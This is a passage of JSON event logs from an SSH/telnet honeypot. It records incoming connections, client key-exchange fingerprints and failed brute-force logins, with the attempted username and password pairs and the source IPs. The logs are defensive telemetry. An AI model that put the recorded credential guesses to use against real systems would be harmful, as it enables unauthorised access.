2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:46:49.154697Z","src_ip":"198.98.55.71","session":"ced675381425","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Rx.123456","message":"login attempt [root/Rx.123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:46:49.209305Z","src_ip":"198.98.55.71","session":"ced675381425","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:46:50.217736Z","src_ip":"198.98.55.71","session":"ced675381425","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":48682,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0a530855969","protocol":"telnet","message":"New connection: 45.23.213.116:48682 (159.203.135.109:23) [session: f0a530855969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:46:54.777698Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59480,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfedc29eda33","protocol":"ssh","message":"New connection: 159.203.92.129:59480 (159.203.135.109:22) [session: bfedc29eda33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:46:58.241063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:46:58.260457Z","src_ip":"159.203.92.129","session":"bfedc29eda33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:46:58.264571Z","src_ip":"159.203.92.129","session":"bfedc29eda33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"zkyd32142","message":"login attempt [admin/zkyd32142] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:46:58.283856Z","src_ip":"159.203.92.129","session":"bfedc29eda33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:46:59.289990Z","src_ip":"159.203.92.129","session":"bfedc29eda33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":37316,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bc5485304ef","protocol":"telnet","message":"New connection: 45.23.213.116:37316 (159.203.135.109:23) [session: 1bc5485304ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:47:11.100366Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":38762,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2d524c416ad","protocol":"telnet","message":"New connection: 45.23.213.116:38762 (159.203.135.109:23) [session: d2d524c416ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:47:13.659057Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":38764,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ace18977cd1","protocol":"telnet","message":"New connection: 45.23.213.116:38764 (159.203.135.109:23) [session: 5ace18977cd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:47:14.616906Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":38768,"dst_ip":"159.203.135.109","dst_port":23,"session":"e06467be8ace","protocol":"telnet","message":"New connection: 45.23.213.116:38768 (159.203.135.109:23) [session: e06467be8ace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:47:19.648412Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":38772,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f6acd1efc29","protocol":"telnet","message":"New connection: 45.23.213.116:38772 (159.203.135.109:23) [session: 9f6acd1efc29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:47:21.057014Z"}
{"eventid":"cowrie.session.connect","src_ip":"125.166.19.90","src_port":15582,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a413054b2fb","protocol":"ssh","message":"New connection: 125.166.19.90:15582 (159.203.135.109:22) [session: 0a413054b2fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:47:25.931347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:47:25.936404Z","src_ip":"125.166.19.90","session":"0a413054b2fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:47:26.212331Z","src_ip":"125.166.19.90","session":"0a413054b2fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"iitmaapuser","password":"iitmaapuser","message":"login attempt [iitmaapuser/iitmaapuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:47:27.343087Z","src_ip":"125.166.19.90","session":"0a413054b2fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:47:28.621013Z","src_ip":"125.166.19.90","session":"0a413054b2fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":44750,"dst_ip":"159.203.135.109","dst_port":23,"session":"66cefa87b364","protocol":"telnet","message":"New connection: 45.23.213.116:44750 (159.203.135.109:23) [session: 66cefa87b364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:47:33.239140Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":48192,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6143b31d954","protocol":"ssh","message":"New connection: 198.98.55.71:48192 (10.17.0.5:22) [session: a6143b31d954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:47:38.562814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:47:38.568111Z","src_ip":"198.98.55.71","session":"a6143b31d954","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:47:38.573190Z","src_ip":"198.98.55.71","session":"a6143b31d954","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4rfv%TGB","message":"login attempt [root/4rfv%TGB] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:47:38.625687Z","src_ip":"198.98.55.71","session":"a6143b31d954","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:47:39.633947Z","src_ip":"198.98.55.71","session":"a6143b31d954","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45086,"dst_ip":"159.203.135.109","dst_port":22,"session":"6832cf8ae1da","protocol":"ssh","message":"New connection: 159.203.92.129:45086 (159.203.135.109:22) [session: 6832cf8ae1da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:47:41.406174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:47:41.426007Z","src_ip":"159.203.92.129","session":"6832cf8ae1da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:47:41.429797Z","src_ip":"159.203.92.129","session":"6832cf8ae1da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"zse321qsc","message":"login attempt [admin/zse321qsc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:47:41.516844Z","src_ip":"159.203.92.129","session":"6832cf8ae1da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:47:42.524487Z","src_ip":"159.203.92.129","session":"6832cf8ae1da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":55798,"dst_ip":"159.203.135.109","dst_port":23,"session":"30c3e5ec27ab","protocol":"telnet","message":"New connection: 45.23.213.116:55798 (159.203.135.109:23) [session: 30c3e5ec27ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:48:15.483225Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":55806,"dst_ip":"159.203.135.109","dst_port":23,"session":"52c2d50f3268","protocol":"telnet","message":"New connection: 45.23.213.116:55806 (159.203.135.109:23) [session: 52c2d50f3268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:48:17.463183Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":55814,"dst_ip":"159.203.135.109","dst_port":23,"session":"99baf3aba9af","protocol":"telnet","message":"New connection: 45.23.213.116:55814 (159.203.135.109:23) [session: 99baf3aba9af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:48:18.870652Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":55822,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3550b579e3b","protocol":"telnet","message":"New connection: 45.23.213.116:55822 (159.203.135.109:23) [session: e3550b579e3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:48:19.896379Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37310,"dst_ip":"159.203.135.109","dst_port":22,"session":"89144fc7dcca","protocol":"ssh","message":"New connection: 159.203.92.129:37310 (159.203.135.109:22) [session: 89144fc7dcca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:48:21.004340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:48:21.008890Z","src_ip":"159.203.92.129","session":"89144fc7dcca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:48:21.013253Z","src_ip":"159.203.92.129","session":"89144fc7dcca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"zxcvbnm","message":"login attempt [admin/zxcvbnm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:48:21.027238Z","src_ip":"159.203.92.129","session":"89144fc7dcca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.122.11.24","src_port":36821,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d07da8aae1a","protocol":"telnet","message":"New connection: 138.122.11.24:36821 (10.17.0.5:23) [session: 1d07da8aae1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:48:21.120179Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:48:22.033747Z","src_ip":"159.203.92.129","session":"89144fc7dcca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":55062,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb30e7b34303","protocol":"ssh","message":"New connection: 198.98.55.71:55062 (10.17.0.5:22) [session: fb30e7b34303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:48:29.610810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:48:29.614826Z","src_ip":"198.98.55.71","session":"fb30e7b34303","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:48:29.619910Z","src_ip":"198.98.55.71","session":"fb30e7b34303","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"As@123456789","message":"login attempt [root/As@123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:48:29.670531Z","src_ip":"198.98.55.71","session":"fb30e7b34303","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:48:30.679512Z","src_ip":"198.98.55.71","session":"fb30e7b34303","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.313133001327515,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:48:33.433202Z","src_ip":"138.122.11.24","session":"1d07da8aae1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":51886,"dst_ip":"159.203.135.109","dst_port":23,"session":"432f0ea0a138","protocol":"telnet","message":"New connection: 45.23.213.116:51886 (159.203.135.109:23) [session: 432f0ea0a138]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:48:36.752550Z"}
